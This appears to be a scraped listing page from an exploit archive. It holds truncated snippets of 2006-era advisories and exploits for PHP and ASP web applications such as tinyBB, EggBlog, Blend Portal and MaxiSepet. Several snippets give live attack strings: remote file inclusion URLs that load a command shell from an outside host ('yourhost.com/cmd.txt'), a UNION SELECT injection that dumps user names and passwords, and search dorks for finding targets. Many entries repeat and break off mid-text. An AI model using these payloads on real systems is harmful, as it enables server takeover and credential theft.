Integramod Portal 2.x - functions_portal.php Remote File Inclusion

Integramod Portal 2.x - functionsportal.php Remote File Inclusion !/usr/bin/perl Method found and exploit scripted by nukedx Contacts ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: [email protected] Original advisory can be found at: http://www.nukedx.com/?viewdoc=47 Integramod Portal Copyright...

Integramod Portal 2.x - 'functions_portal.php' Remote File Inclusion

!/usr/bin/perl Method found and exploit scripted by nukedx Contacts ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: [email protected] Original advisory can be found at: http://www.nukedx.com/?viewdoc=47 Integramod Portal Copyright 2006 C nukedx Greetz to: WW,xT,php from my team NWPX , str0ke ,...

develooping.txt

Develooping Flash Chat bannedfile Remote File Inclusion Credit : SpC-x Site : http://wWw.SaVSaK.CoM Greetz : | Liz0ziM | Ejder | FasTBoY | TheBeKiR | Nukedx | Remote File Include : http://www.target.com/path/chat/adminips.php?bannedfile=CmdShell /SpC-x...

Mamblog.txt

SaVSaK.CoM | SpC-x - The-BeKiR | Mamblog 1.0 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Mamblog Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : $cfgfile = "$mosConfigabsolutepath/components/$option/configuration.php"...

bbrss.txt

bbrss PhpBB phpbbrootpath Remote File Inclusion Credit : SpC-x | TheBeKiR Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/bbrss.php?phpbbrootpath=CommandShell Bbrss.PHP : define'INPHPBB', true; //...

MaxiSepet <= 1.0 (link) SQL Injection Vulnerability

No description provided by source. Method found by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=42 Title: MaxiSepet = 1.0 link SQL Injection Vulnerability. Dork: "Copyright MaxiSepet ©" How: Parameter link did not...

MaxiSepet 1.0 - 'link' SQL Injection

Method found by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=42 Title: MaxiSepet http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=SQL Example: GET -...

MaxiSepet 1.0 - link SQL Injection

MaxiSepet 1.0 - link SQL Injection Method found by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=42 Title: MaxiSepet http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=SQL Example: GET -...

iBWd Guestbook 1.0 SQL Injection

iBWd Guestbook 1.0 SQL Injection Credit : SpC-x | The-BeKiR Site : http://wWw.SaVSaK.CoM Greetz : | Nukedx | Ejder | Str0ke | joffer Code : http://www.target.com/path/index.php?offset=SQL Example : http://robbie.thru-a-lens.com/guestbook/guestbook/index.php? offset=SQL /SpC-x -- Get your free ema...

Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability

--Security Report-- Advisory: Blend Portal = 1.2.0 for phpBB 2.x blenddata/blendcommon.php File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 28/05/06 07:52 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendo...

SpeedyASPForum.txt

Title : Speedy ASP Forumprofileupdate.asp User Pass Change Exploit Dork : Copyright © ASPwebSoft Author : ajann greetz : Nukedx Code: Save to .htm Pass Change //Coded ajann function islemKontrol ifdocument.InputForm.name.value=="" || document.InputForm.email.value=="" ||...

tinyBB <= 0.3 Remote (Include / SQL Injection) Vulnerabilities

No description provided by source. tinyBB = 0.3 Multiple Remote Vulnerabilities Method found by nukedx, Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33...

tinyBB 0.3 - Remote File Inclusion SQL Injection

tinyBB 0.3 - Remote File Inclusion SQL Injection tinyBB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33 http://victim/tBBPath/footers.php?tinybbfooters=http://yourhost.com/cmd.txt?...

EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation

http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalation .xpl font-family:tahoma; font-size:11px; text-decoratio...

Eggblog &lt; 3.07 Remote (SQL Injection / Privilege Escalation) Exploit

No description provided by source. !-- Eggblog = 3.x Multiple Remote Vulnerabilities Discovered by: nukedx Contacts: ICQ: 10072 MSN/Mail: [email protected] web: http://www.nukedx.com Original advisory can be found at: http://www.nukedx.com/?viewdoc=36 Eggblog = 3.0.6 rss/posts.php id Remote SQL...

EggBlog 3.07 - Remote SQL Injection Privilege Escalation

EggBlog 3.07 - Remote SQL Injection Privilege Escalation http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalatio...

tinyBB 0.3 - Remote File Inclusion / SQL Injection

tinyBB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33 http://victim/tBBPath/footers.php?tinybbfooters=http://yourhost.com/cmd.txt?...

Eggblog < 3.07 Remote (SQL Injection / Privilege Escalation) Exploit

Exploit for unknown platform in category web applications ==================================================================== Eggblog http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection wi...

Blend Portal 1.2.0 - 'phpBB Mod' Remote File Inclusion

Blend Portal ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Blend Portal http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=FILE EXAMPLE - http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=http://yoursite.com/cmd.txt? nukedx.com 2006-05-28...

Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion

phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs registerglobals on GET ...